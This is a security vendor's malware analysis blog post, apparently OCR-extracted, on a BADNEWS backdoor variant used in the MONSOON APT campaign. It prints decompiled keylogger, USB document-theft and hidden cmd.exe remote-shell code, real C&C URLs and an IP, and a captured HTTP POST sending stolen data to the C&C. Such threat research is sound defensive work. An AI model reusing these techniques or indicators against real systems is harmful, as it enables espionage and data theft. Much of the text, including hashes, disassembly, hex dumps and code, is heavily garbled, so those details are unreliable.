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In-Depth Look at New Variant of MONSOON APT Backdoor, Part 1
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Three weeks ago, FortiGuard Labs, along with @_ddoxer (Roland de la Paz), using VirusTotal Intelligence queries, spotted
a document with the politically themed file name “Senate_panel.doc”. This malicious RTF file takes advantage of the
vulnerability CVE-2015-1641. Upon successful exploitation, it drops a malware in the %appdata%\Microsoft directory. To
evade suspicion by the victim, it also drops a decoy document which shows the symbol of the Ministry of Foreign Affairs of

Pakistan on the first page, but on the next pages shows an article about the Senate of Pakistan.
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Decoy document

As we were unable to identify which malware family the dropped malware belongs to, we tried to dig a bit further. Our
analysis exposed that this is a new variant of a malware dubbed as BADNEWS, which is actively being used in the
MONSOON APT campaign. This variant steals documents from USB drives.

The first thing we wanted to learn is if there were other files similar to this malicious RTF file that had been submitted to
VirusTotal after the discovery of the APT campaign was first published in August 2016. A quick similar-to: search in
VirusTotal provided 3 results:

0c63ef29d5a9674a00bb71a150d2ae6M3dc856a43291e792609921081dcd53d3 /54 2017-03-08 2017-03-08
8d5ac93ef3d04b979bfdad 2419674000 11:12:37 11:12:37

[cE={s Wl ole-embedded | exploit | rir | cve-2015-1611

T6122a8c6590926533h67467603d2f42cdb1d5e1120a5439d7e581dafd 1710711 17756  2017-03-06  2017-03-06
85fddd25a5394e50637082196ch73188 10:15:17 10:15:17

BYRPN o -cnocdaa | cxpon] ] eve 21511

722e8909235ae572cThaas22a675ced5acTe10170beT428de74d04051f473c®  10/54 2016-11-08  2016-11-08
03d24e0a2fi09e5a38c8a2e9360c4636 07:19:49 07:19:49

[oF={ oWl olc-embedded | exploit | rir | cve-2015-1641

VT similar-to: search gives 3 similar malicious RTF files

It looks very similar to file that was submitted to VirusTotal on 11/08/2016 with file name

“Who_would_win_an_all_out_war_between_Pakistan_and_India.doc,” and another one submitted on 03/08/2017 with the
file name “Jobs.” Executing the files reveals that the first has a theme similar to the initially discovered file, while the other
looks like a United Nations career opportunities guide document. All of them drop the same malware, with only small code

variations.

Malicious RTF
In this blog we will just run a quick analysis of the malicious RTF shellcode, as our colleague Wayne already did an in-depth

analysis of CVE-2015-41 here. RTFScan tells us that there are 4 objects in this RTF file, and dumps these objects as separate

files.
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[#] SCAN mode selected
:[*] Opening file f61aaBch59@926533h67467683d2f42cdb1d5eif20a5439d7e58fdaf 8171871

[#] Filesize is 1841949 (Bxfebid> Bytes
[#]1 RIF format detect

Bcanning for shellcode in OBJDATA. ..
No shellcode found in OBJDATA

Dumping OBJDATA as filename: OBJDATA__f61aaBc6598926533h67467603d2f42cdbid5elif20
a5439d7e58fdaf81718711__1 . hin

Embedded OLE document found in OBJDATAH
Bcanning for shellcode in OBJDATA...
Dumping embedded OLE document as filename: OLE_DOCUMEMT__ f61aaBcbh598%26533b67467
603d2f42cdbld5elif2Ba5432d7e58fdaf81718711_ 2 _hin

4+ OLE_DOCUMENT been found and dumped. This should be re-scanned wi
th officemalscanner now
Embedded OLE document found in OBJDATAH
Bcanning for shellcode in OBJDATA...
Dumping embedded OLE document as filename: OLE_DOCUMEMT__ f61aaBcbh598%26533b67467
603d2f42cdbld5elif2Ba5439d7e58fdaf81718711_ 3 . hin

t4¢ OLE_DOCUMENT s been found and dumped. This should be re—-scanned wi
th officemalscanner now

Bcanning for shellcode in THEMEDATA...
No shellcode found in THEMEDATA

Embedded OLE document found in DATASTORE
Bcanning for shellcode in DATASTORE...

Dumping embedded OLE document as filename: OLE_DOCUMEMT_ f61aaBcbh598%26533b67467
603d2f42cdbld5elf2Pa54392d7e58fdaf81710711_ 4 _hin

Object 2 contains a zip file with “PK” header, which is obviously an embedded OLE document. When you extract the
contents of this OLE object, we notice that it contains 2 activeX.bin files (activeX1.bin and activeX2.bin)

| activeXl.bin

2] activex].xml
| activeX2.bin

= activeX? xml 1 KR

The first contains the first-stage shellcode. The second contains the second-stage shell code, the malware, and decoy

document.

activeX1.bin 0B0PA9S1 |Hiew 7.20 CeISEN activeR2.bin
PUBDSEG: 49 =3 Z=rE o
1887

: a9
: 83EC24 Bl

8 BBz "
= 647130000680 . £5: (886860361
; §B9030000000 dx. [oax ] [000B0E901

= 8B98A 4000000 . [eax 1 [B0BBBBA4 1
: ecx
= 83FBO6
& 7GBB
i 81C1nAAOPBAG
E: 8B340A
SE3: 530158 15t stage shellcode HEY Sah pecryiy B G ne s

: 8B340n
= 83FE0D

7415
E: 81C60BA70008
B8C24350D1

9E7

C: 7565
ersey W7
8770 6377 i776%i
EBOF u°30ceNcn 16Ge:
SAELOF a = 9 gRce TwO0
88E904 c v a<77

7487 16637
BIR4080008

EBCL

83C608

AF
7502

6140
68009100080
91D: 6800100000

We attached winword.exe to a debugger and opened the malicious RTF file to see what the shellcode does. As seen below,
the first stage shellcode searches for the marker 0xC24350D1 in the activeX2.bin file, then allocates memory where it copies
0x88F bytes after the marker. The copied data is the second-stage shell code, and is decrypted using SUB 0x37 on each byte.

After decryption, the second shell code is called.
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5 E Clib KB CEaaEer S ed's
C3m314| BE C2435801 MOV EAX,D15B43C2
2919 7 L L e marker
CondiE| AF SCAS_OWORD FTR_ES:[EDI]
Coa31C|v 75 BE JHZ SHORT @9C38523
COR31E|  AF SCAS OWORD FTR ES:[EDI]
C2a31F|v 75 B2 JNZ SHORT @2cseszs
C 1|~ EB _BF JHE SHORT @9C30532
CoRSEE| BBEL OF AND CL, &F
CoRdzE|  BAFI_B4 CHF CL, 4
C2R923|v 74 @7 JE SHORT @9c2e9az
CondzE|  BI M b
CER536|~ EB C1 JHF SHORT B9C988F3
COR3Z2  B3CE B8 ADD ESI,=
C2R925 56 PUSH ESI
CORO3E|  BA 48 PUSH 46
CORS5E| 65 BE1GROER | PUSH 1800
COR950| 68 BELEAEEA | FUSH 1860
C28942| &R B8 PUSH @
Condad|  BS 94ABITPC | MOU EAM,<UKERNELZZ,UirtualAlloc?
Coa345|  FF1 CALL OWORD FTR OS:CEAX]
CoR34E| BE POF ESI
Coa34C| 5@ PUSH_EAX
I 40 29CT MMl ERT N
CoRS4F|  BY SFOEBOBE  MOU ECH,SEF | memcpy
CoR354|  F3rpd REF MOUS BYTE PTR ES:[EDI).EBYTE FTR DS: !
CoR35e| 8975 26 |0 LWL R 29 LR TaR 2
CoR35a|  B& PO
CoB3EA|  3ice wOR ECH,ECH
CORSEC| B9 BF@EAEEE | Mol Cewiast
Caaich|  HBoces a7 |gﬁg EWE PTR DS CERMHECK], 37 d i
B + n ecryption

C36968| 83F9 @@ e YP
CORIE5) ~ 7 FE in STnAT GoraRog ] e "

~ FFE® | JHP EAX jmp to second stage shellcode
SCIEE0|  CC e

The second stage shellcode uses hardcoded offsets to locate the encrypted files.

G2 &2 ARABR4A0 PUSH 48330 ASCII Aoty ™
Gz5|  BS SCABSTTC MOV ERK, < 8KERNELSZ, HeapCreate

G2Al  FF1@ CALL DWORD PTR DZ: [EAX]

G20 23CA &8 AOO ER:X, 56

B2F( 8945 4C MOU DWORDCFTR S5: CEEF+4C], ERX

g3z 5@ FUSH _ERR

622 0 ESI, DWORDCPTR SS: CEEF+7E]

8BTS 78 Il
B36|  S1CE ESRdushd |HOD ESI,SAdESww offset of encrypted loafler

B2ac)  eo MO EDT

GB3E| B9 BBR4a188 MOW ECK, 1A488

843 F23:A4 REF MOUS BYTE PTR ES: [EDI],BYTE PTR DS:
@45 &g FPOP ER =

B4 31C9 ¥OR ECY,ECH

g:g ES B@A4a188 Hgg ECi, 1R488

B4E(  SB2CHZT 37 SUE BYTE FTR DS:[EAH+ECK], =7

GEZ|  23F9 6B CHP ECK, 8

AR T
After decrypting the first file using SUB 0x37 on each byte, it drops the file as %appdata%\Microsoft\Templates\msvcrt.dll.
It then drops the file ~Normal.dat in the same directory that contains the encrypted decoy document and the malware, along
with other legitimate files. The file msvcrt.dll is loaded using LoadLibraryW(). The shellcode then cleans up the registry in
HKCU\Software\Microsoft\Office\1{0-6}.0\Word\Resiliency to prevent warning messages when someone re-opens a

document that has crashed previously.

The msvcrt.dll file loads the ~Normal.dat file in memory. The decoy document is first decrypted using the same decryption

algorithm, and is dropped as %localappdata%\Microsoft\Windows\.doc. It is started using hidden cmd.exe /c start .

B493Fe24 LCmdLlne = "omd.ede So start CisUsers el -Applata~Local~Microsof £~ indows~Senate_pane L. doc™
IC| BeeeeeEe| LShowState = SW_HIDE

The following files are also decrypted from ~Normal.dat file using the algorithm XOR 0x41, SUB 0x7 on each byte, and are
dropped in the %appdata%\Microsoft directory as:

MicroScMgmt.exe
msver71.dll
jli.dll

The file MicroScMgt.exe is then executed using CreateProcessA(). The file jli.dll contains the malware dubbed as

BADNEWS. BADNEWS was the name given to this malware as it uses news sites and blogs to obtain its C&C servers.

BADNEWS Backdoor

BADNEWS uses a DLL side-loading technique with a signed Java executable to evade the Host Intrusion Prevention
System (HIPS) of security programs that monitor the behaviors of executed files. Most HIPS tools whitelist signed or trusted
files. This technique is reminiscent of the PlugX backdoor technique because it also piggybacked on signed legitimate files

to execute the PlugX backdoor.

MicroScMgmt.exe is a renamed version of java-rmi.exe, the legitimate Java Runtime executable version 6.0.390.4. This file
needs to load the legitimate DLLs msver71.dll and jli.dll to import some functions. However, the dropped jli.dll file here is
crafted to contain the BADNEWS code.

All functions exported by this jli.dll file point to a single routine, which is the malware code, so upon execution of the

MicroScMgmt.exe file one of these functions will be called, effectively calling the malware code.
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Mame Address Ordinal
gﬁ JLI_AcceptableReleaze 10003440 1
éﬁ JLI_E=actersionld 10003440 2
gﬁ JLI_Freetanifest 10003440 3
1 JLI_JarlrpackFile 10003440 4
1 JL_Launch 10003440 5
521 JLI_Manifestiterate 10003440 B
éa JLI_Memalloc 10003440 7
1 JLI_MemFree 10003440 8
) JLI_MemPrealloc 10003440 |
gﬁ JLI_ParzeManifest 10003440 10
55 JLI_Prefisv/ersionl d 10003440 11
gﬁ JLI_StingDup 10003440 12
gﬁ JLI_WalidversionStritg 10003440 13
éﬁ JLI_wildzardE #pandClazspath 10003440 14
£ DIEntyPaint 10004E25

Export functions point to malware code
Anti-Analysis Techniques
The malicious DLL file is not packed ,but is obfuscated to deter analysis.

Anti-sandbox/emulator

A long loop has been added before it performs its malicious routines. Many sandboxes and emulators only run for a certain
short period of time until they time-out, so malware behavior usually are not captured when malware goes in a long loop

before it performs its routines. An emulator, though, that can patch files it tries to emulate, can easily bypass long loops.

vl = 3;
vl = 23
do
{

For (1 =2;1 (=wud - 1; ++1 )
{

result = vl / i;

if ( t(ua % i) )

break;
H
if (1 ==wvB )
{
result = sub_188082BEG{"%d\n", vi);
++yul;
K
++ul;

H
while ( v1 <= 8668608 );
Long loop as anti-sandbox/emulator

Reversed, Garbage, and Encrypted Strings

BADNEWS has a lot of reversed, garbage, and encrypted strings. However, the string encryption is just a simple minus 1 on

each byte.

API resolution

Traversing the export table to get the API address is an old technique used by malware, but if a malware like BADNEWS
does this, most of the time it calls a Windows API without any function for it. That could be very annoying to analyze, as

manually setting the type of variables is needed in IDA for each resolution in order to get proper decompilation.
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TR R AL LR S AV R . W S g
mod1 = (PIMAGE DOS HEADER)GetHModuleHandleA{Strinol:
strepy{uas, “LoadLibraryn™);
u7 = (char #Imodd + ={ DWORD =){{char =)&nodi[1].e_res2[8] + modi->e_lfanew);
j_LoadLibraryfA = (HHODULE {_ cdecl =){LPCTSTR)){(char =)modi
+ %{_DUWORD =){{char =)&modi->e_magic
+ 4
* #{WORD =){{char =)&modi->e_magic
+ 2 = get_APIname_nun{{int)modi, vis)
+ =({_DWORD =)u7 + 9))
+ ®(({ DWORD *)u7 + 7)));
u4h = H3
jj_LoadLibraryn = j_LoadLibraryf;
str_GetHModuleHandleA = =({_OWORD *)"GetModuleHandleAInternetConnectAHttpSendRequestAHttpOpenRequestARegQuery
v9 = (PIMAGE_DOS_HEADER)j_LoadLibraryn(String); |
get_aPIname_num{{int)v?, (LPCSTR)&str_GetHoduleHandlefn);
menset{{int)&ModuleHans[1], 8, 99);
strepy{(char *)HModuleName, “kernel3d2.d11");
mnd? = fPIHARE DNS _HFADBFRYGRetHoduleHandleAf HoduleNamet =
strepy{v58, “LoadLibraryn™});
vl = (int)((char =)mod2 + ={_DWORD *)}{{char =)&mod2[1].e_res2[8] + nod2->e_lfanew));
jj_LoadLibraryn = (HMODULE {_ cdecl =)(LPCTSTR})({{char =)mod2
+ ={_DWORD =){{char =)&mod2->e_nagic
+ 4
= *=(WORD =){{char =)&nod2-»e_magic
+ 2 = get_APIname_num{{int)mod2, v50)
+ *{_DWORD =){vi11 + 36))
+ % DUNRD *¥fui1 + 2R¥VV:

LoadLibraryA() is resolved twice

Auto-Start Mechanism
This malware creates the following registry entry, so it starts when the machine reboots.
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

JUSCHED = %Appdata%\Microsoft\MicroScMgmt.exe
Creates Threads

BADNEWS backdoor also creates 2 threads. One performs key-logging, and the other one steals documents from USB

drives.
Key-logging

The first thread creates a hidden window to log keystrokes, and saves them to a file named %temp%\TPX498.dat.

LpwLa.LgLE — u,
lpuwcx . lpfnWndProc = f_keylogger;

lpwcx.cbClsExtra = w;

lpuwcx .cbiWndExtra = 8;

lpuwcx.hInstance = GetHoduleHandleW({®8);

lpuwcx.hlcon = 8;

lpwcx.hCGursor = LoadCursorW{8, (LPCWSTR)Bx7FO8);

lpwcx .hbrBackground = (HERUSH)G;

lpwcx.lpszMenuHame = 8;

lpucx.lpszClassHame = {LPCSTR)ClassHame; /4 MyCsL1
lpwcz.hlconSm = LoadIconW{®, (LPCWSTR)Bx7FO0);

*{_0WORD =*)str_RegisterClassExW = *{_ OWORD =)"RegisterClassEx
v27[8] = @;

j_RegisterclassExW = (ATOM {_ cdecl =){WHDCLASSEX =))}f_getpro
j_RegisterClassExW{&lpuwcx);

ui12 = GetHoduleHandleW(®8};

hWnd = CreateWindowExWiB. ClassHame, &WindowMame, @xA00080u, v
ShowWindow{hind, 3W_HIDE)

UpdateWindow{hWnuj;

Hidden window creation

When the window procedure is called, the function checks to see if the message the window received is
WM_LBUTTONDOWN. This means the user presses the left mouse button, and this is when it starts to log keystrokes.

The file TPX498.dat starts with the marker “K L TN M : Appdat” followed by the keyboard layout code which signifies
the language. The rest is a list of information about the captured keystrokes. The information contains the date when the
keystrokes were captured, the window title, and the keys pressed while on the window. In the example below, the language
code is 0x0409, which means English — US. It shows that the user left-clicked on the window with title Temp (active

window is Windows explorer, the user is exploring the %temp% directory,) which started the keylogging routine.

IKLTHN Appdatl B B B @ 4 B 9 B2817 83
E12 emp *HyytyBE2017,83,213

— {71
- {Temp?BI[CTRL1Icuw

TPX498.dat file contains the logged keystrokes

Stealing Documents from USB Drives
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The second thread again creates a hidden window to monitor when a new USB device is added to the machine. It does this

by first checking to see if the message received by the window is WM_DEVICECHANGE.

if { Msg == WH_DEUICECHAMGE )
steal_docs();

Device change detection

It then sends the IOCTL_STORAGE_QUERY_PROPERTY control code to all volume devices. The devices should return a
STORAGE_DEVICE_DESCRIPTOR data containing the BusType. If the BusType is BusTypeUsb (0x07), the thread then
knows that the new device is a USB drive, and the stealing routine is called.

outbuf = (PSTORAGE_DEVICE_DESCRIPTOR)LocalAlloc(8x48u, @x400u);
outbuff = outbuf;
outbuf->Size = Bx400u;

res = DeviceloControl{hVol, IOCTL_STORAGE_QUERY_PROPERTY, &InBuffer, @xCu, outbuf, Bx480u, &ButesReturned, B8);
result = CloseHandle(hUol);
if ( res )

if ( outbuff->BusType == BusTypelsb )
{
if { toutbuff->DeviceType )

*{DUWORD =){{char =)&outbuff->Version + outbuff->Size + 1) = =(_DWORD =)szUolumeHountPoint;
result = {int)j_CreateThread(
a,

a,
(LPTHREAD START ROUTIME)steal documents_from usb_drive,
outbuff,

a,
(LPDRORD)&ThreadId);
BusType should be BusTypeUsb to enable stealing of documents

The function then creates a folder named “SMB” in the %temp% folder and creates a folder with the following name format

,where it stores the stolen files for each USB drive it tries to steal documents from.

1strcatA{PathHame, "SHB\\"'};
CreateDirectoryA{PathHame, @);
v3 = HeapCreate(@, @, B8);
st_size = outbuf->Size;
a2z = v3;
String[ @8] = =(DWORD =){{char =)&outbuf->Version + st _size + 1);
GetDiskFreeSpaceA{"C:\\", &SectorsPerCluster, &BytesPerSector, &NumberOfFreeClusters, &Tc
hmut = HumberOfFreeClusters 2> 18;
if ( (HumberDfFreeClusters >> 18) = (BytesPerSector = SectorsPerCluster >> 18) »>= OxDDE )
{
if { *{(_BYTE =)&outbuf->Version + outbuf->UendorId0ffset) > 31 )
1strcpyA{{LPSTR)&dir, {LPCSTR)outbuf + outbuf->UendorIdOffset);
if { ={{_BYTE =)&outbuf->Version + outbuf->ProductId0Offset) > 31 )
lstrcatA{ {LPSTR)Y&dir, {LPCSTRYoutbuf + outbuf->ProductldOffset);
if { *{(_BYTE =)&outbuf->Version + outbuf->SerialMumber0ffset) > 31 )
1strcatA{(LPSTRY&dir, (LPCSTR)outbuf + outbuf->SerialNumberOffset);
if { ={{_BYTE =)&outbuf->Version + outbuf->ProductRevision0ffset) > 31 )
lstrcatA{ {(LPSTR)&dir, {LPCSTR)outbuf + outbuf->ProductRevisionOffset);
1strcatA{PathName, {LPCSTR)&dir);
CreateDirectoruA{PathHame. @):

Ex. & UsSE DRIVE A1510050000001051100

The files in the USB drive are then checked to find documents to steal. The documents it tries to steal have the following
extension names, with file size less than 15MB:

size = GetCompressedFileSizeA(&String2, &FileSizeHigh);
if { size < BxFOO000 £/ 15 MB
&& (StrStrIa(FindFileData.cFileHame, ".pdf")
|l StrstrIA(FindFileData.cFileName, ".doc™)
|1 StrStrIAa(FindFileData.cFileName, ".docx™)
|l StrStrIA(FindFileData.cFileName, " .ppt™)
|1 StrStrIa(FindFileData.cFileName, ".pptx")
|| StrstrIAa(FindFileData.cFileName, ".txt")) )

Earlier variants also steal files with extension names .xls, .xlsx, .rtf, .zip, .7z, .rar.

StrstriIa{FindFileData.cFileName, " _x15")
StrStrif{FindFileData.cFileMame, " .x1sx")
StrstriIa{FindFileData.cFileHame, ".rtf")
StrStria{FindFileData.cFileMame, ".zip")
StrStria{FindFileData.cFileMame, " .72")

Str8tria{FindFileData.cFileMame, " .rar"))

The following files are created in the SMB folder:
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MName Date modified Type Size

= MUT.dat 3/23/2017 2:00 PM UltraEdit Docume... OKB
|| reSEcoPCE3WINBantRD6 0/2017 1:58 PM  File 31 KB
. TZ0000001.dat /2372017 2:00 PM Ultrakdit Docume... 1KB
| TZ0000002.dat 3/ 17 1:58 PM UltraEdit Docume... 1KB
|| ZmitRirvSETYmO ChntRD6 3/20/2017 1:58 PM  File 1KB

The MUT.dat file looks like a dummy file, and is not used. TZ0000001.dat contains filenames and file sizes found in the
USB drive. If the file size is greater than 15 MB, or the file doesn’t have the file extension above, it will mark it as “HUGE:”

so it will not be stolen. Otherwise, a 0 will be appended following the file name.

TZAAAAAA1 . dat {FRQ ——————— HA0AAAAA [Hiew 7.20 (c >8]
EI.IGE:F:\Netwo1'k_])1'iuel'_531KT_'.-JN64_2.43.2315.639_HBB.EHE::size crosses 18 MB

tx B F:in2.txt A HUGE:Fisd.exe:isize crosses 18 MB

The file TZ0000002.dat contains a list of files to be stolen. Files with file name with random alphanumeric characters
without extension names are actually copies of the files it tries to steal. When opened, a file contains the file path and the

contents of the file.

| Hiew: nvSEcoPCE3WINBantRDE™ B _ (L | L S

TS DAESTITUDL AAARAARE [Hiew 7.20 {c)SEN
:\USB DRIVE A151AB5 ARHANALE5 11001 . pptxAPRe+T & i ¢ GroplE  FQ

- RLA{|J*%BEF SrifyL20</i_ fésnﬁﬁi-r&ﬁ'l'_‘ll'&mlli
ZAHN]RT 1A [A34=2FLGlIFHh] 8- oo adB dpx R

Command and Control Communication

BADNEWS backdoor has a bit of an interesting way of getting an updated C&C server. It uses legitimate web services like
Github, Dynamic DNS, RSS feed, blog, and forum websites to host encrypted data that contains the actual C&C server.

Below are the hardcoded URLs where the encrypted data is hosted:
hxxp://www.webrss.com/createfeed.php?feedid=49321
hxxp://feed43.com/0414303388550176.xml
hxxps://rOnald2017.wordpress.com/2017/02/16/my-first-post/
hxxps://github.com/rOnald2017/project1/blob/master/xml.xml
rOb1n.crabdance.com
rOnald.ignorelist.com

This technique does not just make it easy to update the C&C server, but also so that security vendors can’t proactively block

the hardcoded URLSs since they point to legitimate services.

ronald2017 Add files via upload

1 contributor

14 lines (14 sloc) 619 Bytes Raw | Blame

This XML file does not appear to h e information associated with it. The document tree is shown below.

S XmLns:wiww.webrss. com="http://u om/createfeed. php2feedid=49321" version="2.8">

NGM2YZzYyNDI1ZTY2NTg10DVINGQIZ TYwNGULYzY 2ZDI1Y2YBNTZk? J Bk T

ImNGR1M] JkMmUyZDTz3}}

16 Feb 20817 18:3@ GMT</publ
te>Thu, 16 Feb 2017 10:13 @l

ebrss. com/</do

v . webrss. com/< S

Encrypted C&C server information hosted in Github

The above data is encrypted by performing ROR by 3 bits and XOR by 0x23 on each byte, converting the result to
hexadecimal representation and lastly encode it with base64. When decrypted, the real C&C URL is revealed.

Page 7 of 10



http://blog.fortinet.com /2017 /04 /05 /in-depth-look-at-new-variant-of monsoon-apt-backdoor-part-1

oppoaEeE: 68 P4 Y4 YB-3A 2F 2F 38-30 2E 32 35-35 2E 33 2E http:--80.255.3.
opaeaaia: 32 36 2F 72-38 67 33 V2-2F 64 71 V661 62 V3 2E 6-/rBglr-dguabs.

apaeaEz2a: 78 68 V70 BO-— rhp

The C&C server is written to the file %temp%\TZ90.dat as a backup in case the URLs embedded in the malware body are

already down.

After obtaining the C&C URL, this backdoor generates a unique identifier for the machine using a value from

GetTickCount() and prepares a message containing the generated UID, system information and the malware version:

uid=<generated UID>&u=<username>&c=<computer name> &v2.2

The UID is saved in the file %temp%\T89.dat so the same UID will be used every time it contacts the C&C server. The
malware version seems to be bogus though, as earlier variants found in 2015 also use v=2.2 Jwhich is hardcoded in the

malware body. Username and computer name are in Unicode and in hexadecimal representation.

L |uid=4.E45SASJ.SBB'JGASl&u=006d00'?200'70006f006700690000 &c=006d0061006300680069006e0065002d0031&av=2. 2I

This message is encrypted using the above encryption algorithm before it is sent to the C&C server via HTTP POST. To
further obfuscate the message, it splits it into several bogus fields with randomly generated names so it looks like a normal
query string.

POST /r0g3r/dgvabs.php HTTP/1.1

Accept: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

User-Agent: UseraAgent:Mozilla/5.0(windows NT 6.1;wOow64)applewebkit/537.1(KHTML, 1ike
Gecko)Chrome,/21.0.1180.75safari/537.1

Host: B80.255.3.96

Content-Length: 288

Cache-Control: no-cache

00mav0=0GQWZWFMODRhNThI YTU4NTgIMGI4NTALODUYNDIOYTVINTE 1 0DUWNWU&DT 3=30GQ4NDILIMVTNWEmM Uy N
WML1NUYNTI1YZUYNTI1M]V]N&Owoeqqo=wvmMjUyNWU1YZUyNTI1&tx1ae=Z TUWNDIIM]UyNTI1Z TCOZ jgOM]UyNw
ULYWYYNTI1Z TUWNTI1MIVINTQLIM ] UyNWUIMjQyNTI1Z TUWNDI1MFVINThmMj UyNWU1ODUYNTT1NFvhz j TIMUONTA
1zTd1ZDgONFVIN YIM M=

HTTP POST data contains bogus fields
Commands

One of things that makes BADNEWSs backdoor a bit difficult to analyze, as with other bots, is that the server doesn’t always
respond. It took us 1.5 weeks of monitoring to finally get a response. However, it looks like the bad guy manually controls
the C&C every time it becomes active. The moment we got a response, the bad guy issued a command to capture a
screenshot, which was sent back to him. After that, we got a “403 Forbidden” response. It also looks like the IP address that

was used during monitoring was blocked.

Commands received from the server have the format :. Encrypted data uses the above encryption algorithm, and can contain

a URL where a file is downloaded, or a file path to upload to the C&C server, or a command for the remote shell.

Stream Content

;'np IMMVhZGFKMMIQZNGM2YZZ jZmN1 Y2ViZmF 1062 1NFRMY2U4ZWM2ZNGQ4Z JBMNMQOZ § 1 MM

“snp”: command to take screen shot then send to C&C

Below are the commands found in the malware body, along with their descriptions:

Command  Description

shell Download a file and save it as %temp%\up

link Download a file, save it as %temp%\up<2 random characters>.exe or %appdata%\Microsoft\Internet Explorer\mmIn<2 random letters>.e
mod Download a DLL (possibly a plugin), save it as %appdata%\Microsoft\mmln.dll or %temp%\up<2 random characters>.dll (this is not imn
upd Download a file (possibly an updated copy), and save it as %temp%\up.exe
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dwd Create an empty file in the %temp% named TY10.dat and send it to C&C

kl Send the file %temp%\TPX498.dat that contains the logged keys to C&C

snp Take a screenshot, save it as %temp%\TPX499.dat, and send it to C&C

ustr Send stolen documents saved in the %temp%\SMB folder to C&C

sdwl Send specified file to C&C

utop Disable sending of stolen documents to C&C

hcemd Remote shell using hidden cmd.exe, pipe the output to %temp%\DMCZ0000.dat, then send it to C&C

{{ Decrypt the data inside {{ }} and use it as C&C URL. This is similar to the way it initially obtained the C&C from legitimate web service
ok Do nothing

For the commands where this malware needs to send a file to the C&C, there are 4 messages it sends to the C&C. If it’s not
sending a file, it sends just the last one, signifying that a command has been performed. Below are the 4 messages, in the

order of when they are sent. The “tt” parameter contains the file.

<encrypted message initially sent to C&C>&yy<random characters>=1
<encrypted message initially sent to C&C >&tt<random characters>=<encrypted file>
<encrypted message initially sent to C&C >&zz<random characters>=1

<encrypted message initially sent to C&C >&r=1

Vi j U=0GQWZWFMODRhNThI YTU4NTGIMGI4NTALODUYNDIOYTVINTE10DUWNWU30GQ&pmUhme=4 NDIIM VINTAIM U
yNWU10GY&amauwes I p=yNTILZTUWNT . ciom information MDQYNTILYZUONTIIMIVINWEIMIUYNTI1IM]V]NEd
mhvnnNo=zRmODQYNTI1YTVANTIIMjUdn L Juynwetviagyn TIT0DVANTIIMJUZNWFMM JUYNTGLYZUYNTI1YTUWN
DTIMAVANThmM A TVNTOT Y ZUVNTTINGVhZ I TIMAIANTIOM  UVNTOIM1OVNTIINDV I NWU3ZWO4NDY1Z TY2NTIz YT 3
027 B=NGI2ZNGE40Dk0ZDhmNmQOZ GE4YWIWODBhYTK40TQZWMWNWEAMGI YZ DIKYWIWZMFKMGZ NOGF Y 2U0Z JBmYW
VHhOGE 50GY4ZTIkYThhOTISMFhhNTAOM: file contents GFJYWM2MJIZNIyMzYIMjMyNTIZMDUYM2MIMINFNFIzZM
juyMzQIMININFIZMDUYM2ULMjMyNZI 2R __,. . . _NDIZNjUyMzAOMjM2NDIZNDUYM2U1MjMyNZIZ0DYyMzZI3

“&tt” field contains the file it uploads

Here are some interesting observations about the how the commands were implemented. First, it looks like for the
commands “mod” and “upd” the author intends to execute the downloaded files, but there’s a bug in the code where
LoadLibraryA() function is called. Instead of passing the path of the downloaded file as a parameter, it passes the contents of
the file, therefore LoadLibraryA() sets the error ERROR_MOD_NOT_FOUND. For the commands “link”, “mod”, and
“upd”, if the malware fails to create the files they are executed using process hollowing. The file downloaded using the

command “shell” is not executed, however the remote shell can be used to execute it manually by the attacker.
Hidden CMD

When this backdoor receives the “hcmd” command, it creates a hidden “cmd.exe” process. This hidden cmd.exe acts as a
remote shell that uses the standard input and output to pipe the commands from the C&C server to the cmd.exe, and the
output to a created file in %temp% folder named DMCZ0000.dat.
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CreatePipe{&hStd_Out_Read, &::hStd_Out_Write, (LPSECURITY_ATTRIBUTES){&uv15 - 2678), 8);
i »tHandleInformation(hStd_Out_Read, HANDLE_FLAG_INHERIT, @);
CreatePipe{&hStd_In_Read, &hStd_In_Write, (LPSECURITY_ATTRIBUTES){&u1S - 2678), B);
SetHandleInformation{hStd_In_Write, HANDLE_FLAG_IMNHERIT, 8);

> - 2686) = (int)::hStd_Out_Write; /# sistartInfo.hStdError

v15 - 2687) = (int)hStd_Out_Write; /4 sistartInfo.hStdOutput
*{&u15 - 2688) = (int)hStd_In_Read; // sistartInfo.hStdInput
j_CreateProcess(

a,

(LPTETR)&UIAS — 424, /7 cnd.exe

a,

a,

TRUE,

a,

a,

a

(LPSTARTUPINFO) {&vi15 - 2782},
(LPPROCESS_IHFORMATIOH)&w15 - 671);

Hidden cmd.exe process

To better understand how this works, Microsoft published an article describing how to create a child process with redirected

input and output.

5 utput
gindows IP ConfigurationF ——"'-CI” RS

F
Ethernet adapter Local Area Connection:F
F

localdomainF
192.168.118.132F
255 _255 255._8F
192.168.118.2F

Connection—specific DNS Suffix
IPv4 Address. . . .

Subnet Mask . . .

Default Gateway .

DMCZ000.dat contains cmd.exe output
In part 2 of our analysis, we will try to discover who might be behind the distribution of these malicious files.

-= FortiGuard Lion Team =-

Source: http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1
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